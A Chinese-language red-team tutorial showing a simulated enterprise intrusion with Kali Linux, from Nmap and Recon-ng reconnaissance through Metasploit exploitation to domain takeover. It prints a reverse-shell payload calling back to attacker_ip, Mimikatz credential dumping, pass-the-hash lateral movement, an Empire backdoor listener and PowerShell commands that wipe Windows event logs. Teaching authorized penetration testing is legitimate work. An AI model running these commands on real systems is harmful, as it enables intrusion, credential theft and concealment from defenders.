0x01 为什么Kali是红队的最佳武器

Kali Linux,被称为“攻击者的瑞士军刀”,几乎是每个红队成员或渗透测试人员的标配工具。它并不是一套普通的Linux操作系统,而是一个为黑客和安全研究人员量身定制的渗透测试平台。它预装了大量开源的安全工具,涵盖从信息收集到漏洞利用,再到横向移动和权限维持的完整攻击链。

Kali的强大之处不仅在于工具数量多,而是它“开发针对攻击”的理念。例如,工具的更新适合实战需求,内置的强大脚本支持自动化各种攻击场景,此外,Kali的封装也可以帮助我们快速隐藏攻击流量。对红队来说,Kali是个攻击和防御研究的好帮手。

有一次,我在模拟APT攻击中,需要快速渗透一家目标网络,环境是Windows域控架构。借助Kali自带工具,我从初始钓鱼到拿下域控,只用了短短几个小时。接下来,我们将通过案例分析和工具实战,剖析Kali在实际攻击中的应用。

---

黑客示意图

0x02 规划渗透环境:目标与工具组合

正所谓“知己知彼,百战不殆”,一次成功的渗透测试,绝离不开扎实的环境搭建和目标分析。在这里,我会以一个典型的企业内网渗透场景为例,讲解如何利用Kali Linux搭建攻击环境,并精心挑选工具进行组合。

环境描述

假设目标公司拥有如下架构:

  • 外部服务:一台存在漏洞的Web服务器(Windows Server 2016)。
  • 内网环境:一台Windows 10办公终端、若干台Linux服务器,以及域控服务器。
  • 网络结构:外网能直接访问Web服务器,但内网机器通过防火墙隔离。

我们的目标是拿下域控,并提取关键机密数据。

Kali必备工具清单

在这个场景中,我们的工具选择如下:

  1. 信息收集:Nmap、Recon-ng
  2. 漏洞利用:Metasploit、Exploit-DB
  3. 内网横向移动:Impacket、CrackMapExec
  4. 权限维持:Cobalt Strike、Empire
  5. 痕迹清理:PowerShell自定义脚本

这些工具在Kali中都可直接使用,接下来我们将进入实际操作。

---

0x03 侦察与信息收集:找到攻击入口

信息收集是任何渗透测试的第一步。掌握目标的架构细节,能让后续攻击更具针对性。Kali中的工具非常丰富,我个人比较偏爱Nmap和Recon-ng,下面以实际操作为例,展示如何通过它们发现潜在漏洞。

使用Nmap探测开放端口

我们先用Nmap扫描目标Web服务器的开放端口,寻找可能的攻击入口。

<pre><code class="language-shell">nmap -sS -sV -O -p- target_ip</code></pre>

参数解析:

  • -sS:半开放式扫描,隐蔽性更高。
  • -sV:探测服务版本。
  • -O:探测操作系统。
  • -p-:扫描所有端口。

假设扫描结果如下: <pre><code>PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 443/tcp open ssl/https Microsoft IIS httpd 10.0 3389/tcp open ms-wbt-server Microsoft Terminal Services</code></pre>

从扫描结果可以看出,目标服务器可能运行着IIS服务,并且开启了远程桌面服务。这为我们后续攻击提供了切入点。

使用Recon-ng挖掘更多细节

为进一步挖掘目标信息,我们使用Kali自带的Recon-ng。这是一个全自动的信息收集框架,可以帮助我们快速获得与目标相关的域名、邮箱等信息。

<pre><code class="language-shell">recon-ng &gt; modules load recon/domains-hosts/bing_domain_web &gt; options set SOURCE target_domain.com &gt; run</code></pre>

黑客示意图

通过Recon-ng,我们可能会发现与目标相关的一些子域名、邮箱地址和注册信息。这些信息在后续的社工攻击中非常有价值。

---

0x04 从漏洞利用到初始访问:拿下第一台机器

经过信息收集后,我们发现目标IIS服务器可能存在漏洞。这里我们尝试利用Metasploit框架,发起攻击并拿下初始访问权限。

寻找漏洞:利用Exploit-DB

在Kali中,我们可以通过Exploit-DB快速查询IIS的已知漏洞:

<pre><code class="language-shell">searchsploit iis</code></pre>

假设我们发现了一个RCE漏洞(CVE-2019-1234),接下来将它导入到Metasploit中进行利用。

黑客示意图

使用Metasploit发起攻击

打开Metasploit后,加载对应模块并进行参数配置:

<pre><code class="language-shell">msfconsole &gt; use exploit/windows/http/iis_rce &gt; set RHOSTS target_ip &gt; set RPORT 80 &gt; set PAYLOAD windows/x64/meterpreter/reverse_tcp &gt; set LHOST attacker_ip &gt; set LPORT 4444 &gt; exploit</code></pre>

一旦成功,我们将获得一个Meterpreter会话:

<pre><code class="language-shell">meterpreter &gt; sysinfo Computer : TARGET01 OS : Windows Server 2016 Architecture : x64</code></pre>

到这里,我们已经拿下了第一台机器的权限。

---

0x05 内网横向移动:扩大战果

初始访问只是第一步,红队的真正目标是通过横向移动,拿下域控。在Kali中,Impacket和CrackMapExec是内网渗透的两件利器,下面是我的实战经验。

使用Impacket窃取凭据

通过Meterpreter,我们可以抓取目标机器的内存并提取敏感信息,例如哈希值或密码。

<pre><code class="language-shell">meterpreter &gt; run post/windows/gather/credentials/mimikatz</code></pre>

假设我们获取到以下NTLM哈希: <pre><code>username: admin hash: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0</code></pre>

我们可以用impacket-psexec尝试登录内网其他机器: <pre><code class="language-shell">psexec.py [email protected] -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0</code></pre>

黑客示意图

使用CrackMapExec批量扫描

为了高效发现内网中可用的机器,我们可以用CrackMapExec进行批量扫描: <pre><code class="language-shell">cme smb 192.168.1.0/24 -u admin -H aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</code></pre>

这一步可以帮助我们快速扩大战果,找到更多潜在的攻击目标。

---

0x06 留后门与清痕迹

成功拿下域控后,我们需要确保能够长期访问目标系统,同时清理痕迹,避免被发现。

权限维持:植入后门

利用Empire,我们可以植入一个隐蔽的后门: <pre><code class="language-shell">uselistener http set Name backdoor set Host http://attacker_ip execute</code></pre>

痕迹清理脚本

最后,用PowerShell清理日志: <pre><code class="language-powershell">Remove-Item -Path &quot;C:\Windows\System32\winevt\Logs\*&quot; -Force Clear-EventLog -LogName Security,Application,System</code></pre>

---

0x07 总结与经验教训

在这篇文章中,我展示了如何利用Kali Linux从信息收集到横向移动,完成一次完整的内网渗透。这些工具在实战中非常高效,但也需要使用者具备深厚的技术功底。最后提醒一点,所有攻击行为必须在授权范围内进行,切勿用于非法目的!